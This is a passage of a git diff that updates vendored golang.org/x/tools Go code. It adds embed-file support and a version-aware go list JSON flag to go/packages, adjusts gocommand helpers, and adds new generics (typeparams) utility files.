_SyncMarker_name[_SyncMarker_index[i]:_SyncMarker_index[i+1]] +} diff --git a/vendor/golang.org/x/tools/go/packages/doc.go b/vendor/golang.org/x/tools/go/packages/doc.go index 4bfe28a51..da4ab89fe 100644 --- a/vendor/golang.org/x/tools/go/packages/doc.go +++ b/vendor/golang.org/x/tools/go/packages/doc.go @@ -67,7 +67,6 @@ Most tools should pass their command-line arguments (after any flags) uninterpreted to the loader, so that the loader can interpret them according to the conventions of the underlying build system. See the Example function for typical usage. - */ package packages // import "golang.org/x/tools/go/packages" diff --git a/vendor/golang.org/x/tools/go/packages/golist.go b/vendor/golang.org/x/tools/go/packages/golist.go index 0e1e7f11f..de881562d 100644 --- a/vendor/golang.org/x/tools/go/packages/golist.go +++ b/vendor/golang.org/x/tools/go/packages/golist.go @@ -26,7 +26,6 @@ import ( "golang.org/x/tools/go/internal/packagesdriver" "golang.org/x/tools/internal/gocommand" "golang.org/x/tools/internal/packagesinternal" - "golang.org/x/xerrors" ) // debug controls verbose logging. @@ -303,11 +302,12 @@ func (state *golistState) runContainsQueries(response *responseDeduper, queries } dirResponse, err := state.createDriverResponse(pattern) - // If there was an error loading the package, or the package is returned - // with errors, try to load the file as an ad-hoc package. + // If there was an error loading the package, or no packages are returned, + // or the package is returned with errors, try to load the file as an + // ad-hoc package. // Usually the error will appear in a returned package, but may not if we're // in module mode and the ad-hoc is located outside a module. - if err != nil || len(dirResponse.Packages) == 1 && len(dirResponse.Packages[0].GoFiles) == 0 && + if err != nil || len(dirResponse.Packages) == 0 || len(dirResponse.Packages) == 1 && len(dirResponse.Packages[0].GoFiles) == 0 && len(dirResponse.Packages[0].Errors) == 1 { var queryErr error if dirResponse, queryErr = state.adhocPackage(pattern, query); queryErr != nil { @@ -393,6 +393,8 @@ type jsonPackage struct { CompiledGoFiles []string IgnoredGoFiles []string IgnoredOtherFiles []string + EmbedPatterns []string + EmbedFiles []string CFiles []string CgoFiles []string CXXFiles []string @@ -444,7 +446,11 @@ func (state *golistState) createDriverResponse(words ...string) (*driverResponse // Run "go list" for complete // information on the specified packages. - buf, err := state.invokeGo("list", golistargs(state.cfg, words)...) + goVersion, err := state.getGoVersion() + if err != nil { + return nil, err + } + buf, err := state.invokeGo("list", golistargs(state.cfg, words, goVersion)...) if err != nil { return nil, err } @@ -565,6 +571,8 @@ func (state *golistState) createDriverResponse(words ...string) (*driverResponse GoFiles: absJoin(p.Dir, p.GoFiles, p.CgoFiles), CompiledGoFiles: absJoin(p.Dir, p.CompiledGoFiles), OtherFiles: absJoin(p.Dir, otherFiles(p)...), + EmbedFiles: absJoin(p.Dir, p.EmbedFiles), + EmbedPatterns: absJoin(p.Dir, p.EmbedPatterns), IgnoredFiles: absJoin(p.Dir, p.IgnoredGoFiles, p.IgnoredOtherFiles), forTest: p.ForTest, depsErrors: p.DepsErrors, @@ -805,17 +813,83 @@ func absJoin(dir string, fileses ...[]string) (res []string) { return res } -func golistargs(cfg *Config, words []string) []string { +func jsonFlag(cfg *Config, goVersion int) string { + if goVersion < 19 { + return "-json" + } + var fields []string + added := make(map[string]bool) + addFields := func(fs ...string) { + for _, f := range fs { + if !added[f] { + added[f] = true + fields = append(fields, f) + } + } + } + addFields("Name", "ImportPath", "Error") // These fields are always needed + if cfg.Mode&NeedFiles != 0 || cfg.Mode&NeedTypes != 0 { + addFields("Dir", "GoFiles", "IgnoredGoFiles", "IgnoredOtherFiles", "CFiles", + "CgoFiles", "CXXFiles", "MFiles", "HFiles", "FFiles", "SFiles", + "SwigFiles", "SwigCXXFiles", "SysoFiles") + if cfg.Tests { + addFields("TestGoFiles", "XTestGoFiles") + } + } + if cfg.Mode&NeedTypes != 0 { + // CompiledGoFiles seems to be required for the test case TestCgoNoSyntax, + // even when -compiled isn't passed in. + // TODO(#52435): Should we make the test ask for -compiled, or automatically + // request CompiledGoFiles in certain circumstances? + addFields("Dir", "CompiledGoFiles") + } + if cfg.Mode&NeedCompiledGoFiles != 0 { + addFields("Dir", "CompiledGoFiles", "Export") + } + if cfg.Mode&NeedImports != 0 { + // When imports are requested, DepOnly is used to distinguish between packages + // explicitly requested and transitive imports of those packages. + addFields("DepOnly", "Imports", "ImportMap") + if cfg.Tests { + addFields("TestImports", "XTestImports") + } + } + if cfg.Mode&NeedDeps != 0 { + addFields("DepOnly") + } + if usesExportData(cfg) { + // Request Dir in the unlikely case Export is not absolute. + addFields("Dir", "Export") + } + if cfg.Mode&needInternalForTest != 0 { + addFields("ForTest") + } + if cfg.Mode&needInternalDepsErrors != 0 { + addFields("DepsErrors") + } + if cfg.Mode&NeedModule != 0 { + addFields("Module") + } + if cfg.Mode&NeedEmbedFiles != 0 { + addFields("EmbedFiles") + } + if cfg.Mode&NeedEmbedPatterns != 0 { + addFields("EmbedPatterns") + } + return "-json=" + strings.Join(fields, ",") +} + +func golistargs(cfg *Config, words []string, goVersion int) []string { const findFlags = NeedImports | NeedTypes | NeedSyntax | NeedTypesInfo fullargs := []string{ - "-e", "-json", + "-e", jsonFlag(cfg, goVersion), fmt.Sprintf("-compiled=%t", cfg.Mode&(NeedCompiledGoFiles|NeedSyntax|NeedTypes|NeedTypesInfo|NeedTypesSizes) != 0), fmt.Sprintf("-test=%t", cfg.Tests), fmt.Sprintf("-export=%t", usesExportData(cfg)), fmt.Sprintf("-deps=%t", cfg.Mode&NeedImports != 0), // go list doesn't let you pass -test and -find together, // probably because you'd just get the TestMain. - fmt.Sprintf("-find=%t", !cfg.Tests && cfg.Mode&findFlags == 0), + fmt.Sprintf("-find=%t", !cfg.Tests && cfg.Mode&findFlags == 0 && !usesExportData(cfg)), } fullargs = append(fullargs, cfg.BuildFlags...) fullargs = append(fullargs, "--") @@ -879,7 +953,7 @@ func (state *golistState) invokeGo(verb string, args ...string) (*bytes.Buffer, if !ok { // Catastrophic error: // - context cancellation - return nil, xerrors.Errorf("couldn't run 'go': %w", err) + return nil, fmt.Errorf("couldn't run 'go': %w", err) } // Old go version? diff --git a/vendor/golang.org/x/tools/go/packages/loadmode_string.go b/vendor/golang.org/x/tools/go/packages/loadmode_string.go index 7ea37e7ee..5c080d21b 100644 --- a/vendor/golang.org/x/tools/go/packages/loadmode_string.go +++ b/vendor/golang.org/x/tools/go/packages/loadmode_string.go @@ -15,7 +15,7 @@ var allModes = []LoadMode{ NeedCompiledGoFiles, NeedImports, NeedDeps, - NeedExportsFile, + NeedExportFile, NeedTypes, NeedSyntax, NeedTypesInfo, @@ -28,7 +28,7 @@ var modeStrings = []string{ "NeedCompiledGoFiles", "NeedImports", "NeedDeps", - "NeedExportsFile", + "NeedExportFile", "NeedTypes", "NeedSyntax", "NeedTypesInfo", diff --git a/vendor/golang.org/x/tools/go/packages/packages.go b/vendor/golang.org/x/tools/go/packages/packages.go index 8a1a2d681..a93dc6add 100644 --- a/vendor/golang.org/x/tools/go/packages/packages.go +++ b/vendor/golang.org/x/tools/go/packages/packages.go @@ -26,6 +26,7 @@ import ( "golang.org/x/tools/go/gcexportdata" "golang.org/x/tools/internal/gocommand" "golang.org/x/tools/internal/packagesinternal" + "golang.org/x/tools/internal/typeparams" "golang.org/x/tools/internal/typesinternal" ) @@ -38,9 +39,6 @@ import ( // Load may return more information than requested. type LoadMode int -// TODO(matloob): When a V2 of go/packages is released, rename NeedExportsFile to -// NeedExportFile to make it consistent with the Package field it's adding. - const ( // NeedName adds Name and PkgPath. NeedName LoadMode = 1 << iota @@ -58,8 +56,8 @@ const ( // NeedDeps adds the fields requested by the LoadMode in the packages in Imports. NeedDeps - // NeedExportsFile adds ExportFile. - NeedExportsFile + // NeedExportFile adds ExportFile. + NeedExportFile // NeedTypes adds Types, Fset, and IllTyped. NeedTypes @@ -73,12 +71,25 @@ const ( // NeedTypesSizes adds TypesSizes. NeedTypesSizes + // needInternalDepsErrors adds the internal deps errors field for use by gopls. + needInternalDepsErrors + + // needInternalForTest adds the internal forTest field. + // Tests must also be set on the context for this field to be populated. + needInternalForTest + // typecheckCgo enables full support for type checking cgo. Requires Go 1.15+. // Modifies CompiledGoFiles and Types, and has no effect on its own. typecheckCgo // NeedModule adds Module. NeedModule + + // NeedEmbedFiles adds EmbedFiles. + NeedEmbedFiles + + // NeedEmbedPatterns adds EmbedPatterns. + NeedEmbedPatterns ) const ( @@ -101,6 +112,9 @@ const ( // Deprecated: LoadAllSyntax exists for historical compatibility // and should not be used. Please directly specify the needed fields using the Need values. LoadAllSyntax = LoadSyntax | NeedDeps + + // Deprecated: NeedExportsFile is a historical misspelling of NeedExportFile. + NeedExportsFile = NeedExportFile ) // A Config specifies details about how packages should be loaded. @@ -295,6 +309,14 @@ type Package struct { // including assembly, C, C++, Fortran, Objective-C, SWIG, and so on. OtherFiles []string + // EmbedFiles lists the absolute file paths of the package's files + // embedded with go:embed. + EmbedFiles []string + + // EmbedPatterns lists the absolute file patterns of the package's + // files embedded with go:embed. + EmbedPatterns []string + // IgnoredFiles lists source files that are not part of the package // using the current build configuration but that might be part of // the package using other build configurations. @@ -327,6 +349,9 @@ type Package struct { // The NeedSyntax LoadMode bit populates this field for packages matching the patterns. // If NeedDeps and NeedImports are also set, this field will also be populated // for dependencies. + // + // Syntax is kept in the same order as CompiledGoFiles, with the caveat that nils are + // removed. If parsing returned nil, Syntax may be shorter than CompiledGoFiles. Syntax []*ast.File // TypesInfo provides type information about the package's syntax trees. @@ -385,6 +410,8 @@ func init() { config.(*Config).modFlag = value } packagesinternal.TypecheckCgo = int(typecheckCgo) + packagesinternal.DepsErrors = int(needInternalDepsErrors) + packagesinternal.ForTest = int(needInternalForTest) } // An Error describes a problem with a package's metadata, syntax, or types. @@ -427,6 +454,8 @@ type flatPackage struct { GoFiles []string `json:",omitempty"` CompiledGoFiles []string `json:",omitempty"` OtherFiles []string `json:",omitempty"` + EmbedFiles []string `json:",omitempty"` + EmbedPatterns []string `json:",omitempty"` IgnoredFiles []string `json:",omitempty"` ExportFile string `json:",omitempty"` Imports map[string]string `json:",omitempty"` @@ -450,6 +479,8 @@ func (p *Package) MarshalJSON() ([]byte, error) { GoFiles: p.GoFiles, CompiledGoFiles: p.CompiledGoFiles, OtherFiles: p.OtherFiles, + EmbedFiles: p.EmbedFiles, + EmbedPatterns: p.EmbedPatterns, IgnoredFiles: p.IgnoredFiles, ExportFile: p.ExportFile, } @@ -477,6 +508,8 @@ func (p *Package) UnmarshalJSON(b []byte) error { GoFiles: flat.GoFiles, CompiledGoFiles: flat.CompiledGoFiles, OtherFiles: flat.OtherFiles, + EmbedFiles: flat.EmbedFiles, + EmbedPatterns: flat.EmbedPatterns, ExportFile: flat.ExportFile, } if len(flat.Imports) > 0 { @@ -610,7 +643,7 @@ func (ld *loader) refine(roots []string, list ...*Package) ([]*Package, error) { needsrc := ((ld.Mode&(NeedSyntax|NeedTypesInfo) != 0 && (rootIndex >= 0 || ld.Mode&NeedDeps != 0)) || // ... or if we need types and the exportData is invalid. We fall back to (incompletely) // typechecking packages from source if they fail to compile. - (ld.Mode&NeedTypes|NeedTypesInfo != 0 && exportDataInvalid)) && pkg.PkgPath != "unsafe" + (ld.Mode&(NeedTypes|NeedTypesInfo) != 0 && exportDataInvalid)) && pkg.PkgPath != "unsafe" lpkg := &loaderPackage{ Package: pkg, needtypes: needtypes, @@ -748,13 +781,19 @@ func (ld *loader) refine(roots []string, list ...*Package) ([]*Package, error) { ld.pkgs[i].OtherFiles = nil ld.pkgs[i].IgnoredFiles = nil } + if ld.requestedMode&NeedEmbedFiles == 0 { + ld.pkgs[i].EmbedFiles = nil + } + if ld.requestedMode&NeedEmbedPatterns == 0 { + ld.pkgs[i].EmbedPatterns = nil + } if ld.requestedMode&NeedCompiledGoFiles == 0 { ld.pkgs[i].CompiledGoFiles = nil } if ld.requestedMode&NeedImports == 0 { ld.pkgs[i].Imports = nil } - if ld.requestedMode&NeedExportsFile == 0 { + if ld.requestedMode&NeedExportFile == 0 { ld.pkgs[i].ExportFile = "" } if ld.requestedMode&NeedTypes == 0 { @@ -910,6 +949,7 @@ func (ld *loader) loadPackage(lpkg *loaderPackage) { Scopes: make(map[ast.Node]*types.Scope), Selections: make(map[*ast.SelectorExpr]*types.Selection), } + typeparams.InitInstanceInfo(lpkg.TypesInfo) lpkg.TypesSizes = ld.sizes importer := importerFunc(func(path string) (*types.Package, error) { @@ -1048,7 +1088,6 @@ func (ld *loader) parseFile(filename string) (*ast.File, error) { // // Because files are scanned in parallel, the token.Pos // positions of the resulting ast.Files are not ordered. -// func (ld *loader) parseFiles(filenames []string) ([]*ast.File, []error) { var wg sync.WaitGroup n := len(filenames) @@ -1092,7 +1131,6 @@ func (ld *loader) parseFiles(filenames []string) ([]*ast.File, []error) { // sameFile returns true if x and y have the same basename and denote // the same file. -// func sameFile(x, y string) bool { if x == y { // It could be the case that y doesn't exist. @@ -1205,8 +1243,13 @@ func (ld *loader) loadFromExportData(lpkg *loaderPackage) (*types.Package, error if err != nil { return nil, fmt.Errorf("reading %s: %v", lpkg.ExportFile, err) } + if _, ok := view["go.shape"]; ok { + // Account for the pseudopackage "go.shape" that gets + // created by generic code. + viewLen++ + } if viewLen != len(view) { - log.Fatalf("Unexpected package creation during export data loading") + log.Panicf("golang.org/x/tools/go/packages: unexpected new packages during load of %s", lpkg.PkgPath) } lpkg.Types = tpkg @@ -1217,17 +1260,8 @@ func (ld *loader) loadFromExportData(lpkg *loaderPackage) (*types.Package, error // impliedLoadMode returns loadMode with its dependencies. func impliedLoadMode(loadMode LoadMode) LoadMode { - if loadMode&NeedTypesInfo != 0 && loadMode&NeedImports == 0 { - // If NeedTypesInfo, go/packages needs to do typechecking itself so it can - // associate type info with the AST. To do so, we need the export data - // for dependencies, which means we need to ask for the direct dependencies. - // NeedImports is used to ask for the direct dependencies. - loadMode |= NeedImports - } - - if loadMode&NeedDeps != 0 && loadMode&NeedImports == 0 { - // With NeedDeps we need to load at least direct dependencies. - // NeedImports is used to ask for the direct dependencies. + if loadMode&(NeedDeps|NeedTypes|NeedTypesInfo) != 0 { + // All these things require knowing the import graph. loadMode |= NeedImports } @@ -1235,5 +1269,5 @@ func impliedLoadMode(loadMode LoadMode) LoadMode { } func usesExportData(cfg *Config) bool { - return cfg.Mode&NeedExportsFile != 0 || cfg.Mode&NeedTypes != 0 && cfg.Mode&NeedDeps == 0 + return cfg.Mode&NeedExportFile != 0 || cfg.Mode&NeedTypes != 0 && cfg.Mode&NeedDeps == 0 } diff --git a/vendor/golang.org/x/tools/internal/gocommand/invoke.go b/vendor/golang.org/x/tools/internal/gocommand/invoke.go index 8659a0c5d..67256dc39 100644 --- a/vendor/golang.org/x/tools/internal/gocommand/invoke.go +++ b/vendor/golang.org/x/tools/internal/gocommand/invoke.go @@ -9,7 +9,6 @@ import ( "bytes" "context" "fmt" - exec "golang.org/x/sys/execabs" "io" "os" "regexp" @@ -18,6 +17,8 @@ import ( "sync" "time" + exec "golang.org/x/sys/execabs" + "golang.org/x/tools/internal/event" ) @@ -131,9 +132,16 @@ type Invocation struct { Verb string Args []string BuildFlags []string - ModFlag string - ModFile string - Overlay string + + // If ModFlag is set, the go command is invoked with -mod=ModFlag. + ModFlag string + + // If ModFile is set, the go command is invoked with -modfile=ModFile. + ModFile string + + // If Overlay is set, the go command is invoked with -overlay=Overlay. + Overlay string + // If CleanEnv is set, the invocation will run only with the environment // in Env, not starting with os.Environ. CleanEnv bool @@ -256,8 +264,10 @@ func cmdDebugStr(cmd *exec.Cmd) string { env := make(map[string]string) for _, kv := range cmd.Env { split := strings.SplitN(kv, "=", 2) - k, v := split[0], split[1] - env[k] = v + if len(split) == 2 { + k, v := split[0], split[1] + env[k] = v + } } var args []string diff --git a/vendor/golang.org/x/tools/internal/gocommand/vendor.go b/vendor/golang.org/x/tools/internal/gocommand/vendor.go index 5e75bd6d8..2d3d408c0 100644 --- a/vendor/golang.org/x/tools/internal/gocommand/vendor.go +++ b/vendor/golang.org/x/tools/internal/gocommand/vendor.go @@ -38,10 +38,10 @@ var modFlagRegexp = regexp.MustCompile(`-mod[ =](\w+)`) // with the supplied context.Context and Invocation. The Invocation can contain pre-defined fields, // of which only Verb and Args are modified to run the appropriate Go command. // Inspired by setDefaultBuildMod in modload/init.go -func VendorEnabled(ctx context.Context, inv Invocation, r *Runner) (*ModuleJSON, bool, error) { +func VendorEnabled(ctx context.Context, inv Invocation, r *Runner) (bool, *ModuleJSON, error) { mainMod, go114, err := getMainModuleAnd114(ctx, inv, r) if err != nil { - return nil, false, err + return false, nil, err } // We check the GOFLAGS to see if there is anything overridden or not. @@ -49,7 +49,7 @@ func VendorEnabled(ctx context.Context, inv Invocation, r *Runner) (*ModuleJSON, inv.Args = []string{"GOFLAGS"} stdout, err := r.Run(ctx, inv) if err != nil { - return nil, false, err + return false, nil, err } goflags := string(bytes.TrimSpace(stdout.Bytes())) matches := modFlagRegexp.FindStringSubmatch(goflags) @@ -57,25 +57,27 @@ func VendorEnabled(ctx context.Context, inv Invocation, r *Runner) (*ModuleJSON, if len(matches) != 0 { modFlag = matches[1] } - if modFlag != "" { - // Don't override an explicit '-mod=' argument. - return mainMod, modFlag == "vendor", nil + // Don't override an explicit '-mod=' argument. + if modFlag == "vendor" { + return true, mainMod, nil + } else if modFlag != "" { + return false, nil, nil } if mainMod == nil || !go114 { - return mainMod, false, nil + return false, nil, nil } // Check 1.14's automatic vendor mode. if fi, err := os.Stat(filepath.Join(mainMod.Dir, "vendor")); err == nil && fi.IsDir() { if mainMod.GoVersion != "" && semver.Compare("v"+mainMod.GoVersion, "v1.14") >= 0 { // The Go version is at least 1.14, and a vendor directory exists. // Set -mod=vendor by default. - return mainMod, true, nil + return true, mainMod, nil } } - return mainMod, false, nil + return false, nil, nil } -// getMainModuleAnd114 gets the main module's information and whether the +// getMainModuleAnd114 gets one of the main modules' information and whether the // go command in use is 1.14+. This is the information needed to figure out // if vendoring should be enabled. func getMainModuleAnd114(ctx context.Context, inv Invocation, r *Runner) (*ModuleJSON, bool, error) { diff --git a/vendor/golang.org/x/tools/internal/packagesinternal/packages.go b/vendor/golang.org/x/tools/internal/packagesinternal/packages.go index 9702094c5..d9950b1f0 100644 --- a/vendor/golang.org/x/tools/internal/packagesinternal/packages.go +++ b/vendor/golang.org/x/tools/internal/packagesinternal/packages.go @@ -23,6 +23,8 @@ var GetGoCmdRunner = func(config interface{}) *gocommand.Runner { return nil } var SetGoCmdRunner = func(config interface{}, runner *gocommand.Runner) {} var TypecheckCgo int +var DepsErrors int // must be set as a LoadMode to call GetDepsErrors +var ForTest int // must be set as a LoadMode to call GetForTest var SetModFlag = func(config interface{}, value string) {} var SetModFile = func(config interface{}, value string) {} diff --git a/vendor/golang.org/x/tools/internal/typeparams/common.go b/vendor/golang.org/x/tools/internal/typeparams/common.go new file mode 100644 index 000000000..25a1426d3 --- /dev/null +++ b/vendor/golang.org/x/tools/internal/typeparams/common.go @@ -0,0 +1,179 @@ +// Copyright 2021 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +// Package typeparams contains common utilities for writing tools that interact +// with generic Go code, as introduced with Go 1.18. +// +// Many of the types and functions in this package are proxies for the new APIs +// introduced in the standard library with Go 1.18. For example, the +// typeparams.Union type is an alias for go/types.Union, and the ForTypeSpec +// function returns the value of the go/ast.TypeSpec.TypeParams field. At Go +// versions older than 1.18 these helpers are implemented as stubs, allowing +// users of this package to write code that handles generic constructs inline, +// even if the Go version being used to compile does not support generics. +// +// Additionally, this package contains common utilities for working with the +// new generic constructs, to supplement the standard library APIs. Notably, +// the StructuralTerms API computes a minimal representation of the structural +// restrictions on a type parameter. +// +// An external version of these APIs is available in the +// golang.org/x/exp/typeparams module. +package typeparams + +import ( + "go/ast" + "go/token" + "go/types" +) + +// UnpackIndexExpr extracts data from AST nodes that represent index +// expressions. +// +// For an ast.IndexExpr, the resulting indices slice will contain exactly one +// index expression. For an ast.IndexListExpr (go1.18+), it may have a variable +// number of index expressions. +// +// For nodes that don't represent index expressions, the first return value of +// UnpackIndexExpr will be nil. +func UnpackIndexExpr(n ast.Node) (x ast.Expr, lbrack token.Pos, indices []ast.Expr, rbrack token.Pos) { + switch e := n.(type) { + case *ast.IndexExpr: + return e.X, e.Lbrack, []ast.Expr{e.Index}, e.Rbrack + case *IndexListExpr: + return e.X, e.Lbrack, e.Indices, e.Rbrack + } + return nil, token.NoPos, nil, token.NoPos +} + +// PackIndexExpr returns an *ast.IndexExpr or *ast.IndexListExpr, depending on +// the cardinality of indices. Calling PackIndexExpr with len(indices) == 0 +// will panic. +func PackIndexExpr(x ast.Expr, lbrack token.Pos, indices []ast.Expr, rbrack token.Pos) ast.Expr { + switch len(indices) { + case 0: + panic("empty indices") + case 1: + return &ast.IndexExpr{ + X: x, + Lbrack: lbrack, + Index: indices[0], + Rbrack: rbrack, + } + default: + return &IndexListExpr{ + X: x, + Lbrack: lbrack, + Indices: indices, + Rbrack: rbrack, + } + } +} + +// IsTypeParam reports whether t is a type parameter. +func IsTypeParam(t types.Type) bool { + _, ok := t.(*TypeParam) + return ok +} + +// OriginMethod returns the origin method associated with the method fn. +// For methods on a non-generic receiver base type, this is just +// fn. However, for methods with a generic receiver, OriginMethod returns the +// corresponding method in the method set of the origin type. +// +// As a special case, if fn is not a method (has no receiver), OriginMethod +// returns fn. +func OriginMethod(fn *types.Func) *types.Func { + recv := fn.Type().(*types.Signature).Recv() + if recv == nil { + + return fn + } + base := recv.Type() + p, isPtr := base.(*types.Pointer) + if isPtr { + base = p.Elem() + } + named, isNamed := base.(*types.Named) + if !isNamed { + // Receiver is a *types.Interface. + return fn + } + if ForNamed(named).Len() == 0 { + // Receiver base has no type parameters, so we can avoid the lookup below. + return fn + } + orig := NamedTypeOrigin(named) + gfn, _, _ := types.LookupFieldOrMethod(orig, true, fn.Pkg(), fn.Name()) + return gfn.(*types.Func) +} + +// GenericAssignableTo is a generalization of types.AssignableTo that +// implements the following rule for uninstantiated generic types: +// +// If V and T are generic named types, then V is considered assignable to T if, +// for every possible instantation of V[A_1, ..., A_N], the instantiation +// T[A_1, ..., A_N] is valid and V[A_1, ..., A_N] implements T[A_1, ..., A_N]. +// +// If T has structural constraints, they must be satisfied by V. +// +// For example, consider the following type declarations: +// +// type Interface[T any] interface { +// Accept(T) +// } +// +// type Container[T any] struct { +// Element T +// } +// +// func (c Container[T]) Accept(t T) { c.Element = t } +// +// In this case, GenericAssignableTo reports that instantiations of Container +// are assignable to the corresponding instantiation of Interface. +func GenericAssignableTo(ctxt *Context, V, T types.Type) bool { + // If V and T are not both named, or do not have matching non-empty type + // parameter lists, fall back on types.AssignableTo. + + VN, Vnamed := V.(*types.Named) + TN, Tnamed := T.(*types.Named) + if !Vnamed || !Tnamed { + return types.AssignableTo(V, T) + } + + vtparams := ForNamed(VN) + ttparams := ForNamed(TN) + if vtparams.Len() == 0 || vtparams.Len() != ttparams.Len() || NamedTypeArgs(VN).Len() != 0 || NamedTypeArgs(TN).Len() != 0 { + return types.AssignableTo(V, T) + } + + // V and T have the same (non-zero) number of type params. Instantiate both + // with the type parameters of V. This must always succeed for V, and will + // succeed for T if and only if the type set of each type parameter of V is a + // subset of the type set of the corresponding type parameter of T, meaning + // that every instantiation of V corresponds to a valid instantiation of T. + + // Minor optimization: ensure we share a context across the two + // instantiations below. + if ctxt == nil { + ctxt = NewContext() + } + + var targs []types.Type + for i := 0; i < vtparams.Len(); i++ { + targs = append(targs, vtparams.At(i)) + } + + vinst, err := Instantiate(ctxt, V, targs, true) + if err != nil { + panic("type parameters should satisfy their own constraints") + } + + tinst, err := Instantiate(ctxt, T, targs, true) + if err != nil { + return false + } + + return types.AssignableTo(vinst, tinst) +} diff --git a/vendor/golang.org/x/tools/internal/typeparams/coretype.go b/vendor/golang.org/x/tools/internal/typeparams/coretype.go new file mode 100644 index 000000000..993135ec9 --- /dev/null +++ b/vendor/golang.org/x/tools/internal/typeparams/coretype.go @@ -0,0 +1,122 @@ +// Copyright 2022 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package typeparams + +import ( + "go/types" +) + +// CoreType returns the core type of T or nil if T does not have a core type. +// +// See https://go.dev/ref/spec#Core_types for the definition of a core type. +func CoreType(T types.Type) types.Type { + U := T.Underlying() + if _, ok := U.(*types.Interface); !ok { + return U // for non-interface types, + } + + terms, err := _NormalTerms(U) + if len(terms) == 0 || err != nil { + // len(terms) -> empty type set of interface. + // err != nil => U is invalid, exceeds complexity bounds, or has an empty type set. + return nil // no core type. + } + + U = terms[0].Type().Underlying() + var identical int // i in [0,identical) => Identical(U, terms[i].Type().Underlying()) + for identical = 1; identical < len(terms); identical++ { + if !types.Identical(U, terms[identical].Type().Underlying()) { + break + } + } + + if identical == len(terms) { + // https://go.dev/ref/spec#Core_types + // "There is a single type U which is the underlying type of all types in the type set of T" + return U + } + ch, ok := U.(*types.Chan) + if !ok { + return nil // no core type as identical < len(terms) and U is not a channel. + } + // https://go.dev/ref/spec#Core_types + // "the type chan E if T contains only bidirectional channels, or the type chan<- E or + // <-chan E depending on the direction of the directional channels present." + for chans := identical; chans < len(terms); chans++ { + curr, ok := terms[chans].Type().Underlying().(*types.Chan) + if !ok { + return nil + } + if !types.Identical(ch.Elem(), curr.Elem()) { + return nil // channel elements are not identical. + } + if ch.Dir() == types.SendRecv { + // ch is bidirectional. We can safely always use curr's direction. + ch = curr + } else if curr.Dir() != types.SendRecv && ch.Dir() != curr.Dir() { + // ch and curr are not bidirectional and not the same direction. + return nil + } + } + return ch +} + +// _NormalTerms returns a slice of terms representing the normalized structural +// type restrictions of a type, if any. +// +// For all types other than *types.TypeParam, *types.Interface, and +// *types.Union, this is just a single term with Tilde() == false and +// Type() == typ. For *types.TypeParam, *types.Interface, and *types.Union, see +// below. +// +// Structural type restrictions of a type parameter are created via +// non-interface types embedded in its constraint interface (directly, or via a +// chain of interface embeddings). For example, in the declaration type +// T[P interface{~int; m()}] int the structural restriction of the type +// parameter P is ~int. +// +// With interface embedding and unions, the specification of structural type +// restrictions may be arbitrarily complex. For example, consider the +// following: +// +// type A interface{ ~string|~[]byte } +// +// type B interface{ int|string } +// +// type C interface { ~string|~int } +// +// type T[P interface{ A|B; C }] int +// +// In this example, the structural type restriction of P is ~string|int: A|B +// expands to ~string|~[]byte|int|string, which reduces to ~string|~[]byte|int, +// which when intersected with C (~string|~int) yields ~string|int. +// +// _NormalTerms computes these expansions and reductions, producing a +// "normalized" form of the embeddings. A structural restriction is normalized +// if it is a single union containing no interface terms, and is minimal in the +// sense that removing any term changes the set of types satisfying the +// constraint. It is left as a proof for the reader that, modulo sorting, there +// is exactly one such normalized form. +// +// Because the minimal representation always takes this form, _NormalTerms +// returns a slice of tilde terms corresponding to the terms of the union in +// the normalized structural restriction. An error is returned if the type is +// invalid, exceeds complexity bounds, or has an empty type set. In the latter +// case, _NormalTerms returns ErrEmptyTypeSet. +// +// _NormalTerms makes no guarantees about the order of terms, except that it +// is deterministic. +func _NormalTerms(typ types.Type) ([]*Term, error) { + switch typ := typ.(type) { + case *TypeParam: + return StructuralTerms(typ) + case *Union: + return UnionTermSet(typ) + case *types.Interface: + return InterfaceTermSet(typ) + default: + return []*Term{NewTerm(false, typ)}, nil + } +} diff --git a/vendor/golang.org/x/tools/internal/typeparams/enabled_go117.go b/vendor/golang.org/x/tools/internal/typeparams/enabled_go117.go new file mode 100644 index 000000000..18212390e --- /dev/null +++ b/vendor/golang.org/x/tools/internal/typeparams/enabled_go117.go @@ -0,0 +1,12 @@ +// Copyright 2021 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build !go1.18 +// +build !go1.18 + +package typeparams + +// Enabled reports whether type parameters are enabled in the current build +// environment. +const Enabled = false diff --git a/vendor/golang.org/x/tools/internal/typeparams/enabled_go118.go b/vendor/golang.org/x/tools/internal/typeparams/enabled_go118.go new file mode 100644 index 000000000..d67148823 --- /dev/null +++ b/vendor/golang.org/x/tools/internal/typeparams/enabled_go118.go @@ -0,0 +1,15 @@ +// Copyright 2021 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build go1.18 +// +build go1.18 + +package typeparams + +// Note: this constant is in a separate file as this is the only acceptable +// diff between the <1.18 API of this package and the 1.18 API. + +// Enabled reports whether type parameters are enabled in the current build +// environment. +const Enabled = true diff --git a/vendor/golang.org/x/tools/internal/typeparams/normalize.go b/vendor/golang.org/x/tools/internal/typeparams/normalize.go new file mode 100644 index 000000000..9c631b651 --- /dev/null +++ b/vendor/golang.org/x/tools/internal/typeparams/normalize.go @@ -0,0 +1,218 @@ +// Copyright 2021 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package typeparams + +import ( + "errors" + "fmt" + "go/types" + "os" + "strings" +) + +//go:generate go run copytermlist.go + +const debug = false + +var ErrEmptyTypeSet = errors.New("empty type set") + +// StructuralTerms returns a slice of terms representing the normalized +// structural type restrictions of a type parameter, if any. +// +// Structural type restrictions of a type parameter are created via +// non-interface types embedded in its constraint interface (directly, or via a +// chain of interface embeddings). For example, in the declaration +// +// type T[P interface{~int; m()}] int +// +// the structural restriction of the type parameter P is ~int. +// +// With interface embedding and unions, the specification of structural type +// restrictions may be arbitrarily complex. For example, consider the +// following: +// +// type A interface{ ~string|~[]byte } +// +// type B interface{ int|string } +// +// type C interface { ~string|~int } +// +// type T[P interface{ A|B; C }] int +// +// In this example, the structural type restriction of P is ~string|int: A|B +// expands to ~string|~[]byte|int|string, which reduces to ~string|~[]byte|int, +// which when intersected with C (~string|~int) yields ~string|int. +// +// StructuralTerms computes these expansions and reductions, producing a +// "normalized" form of the 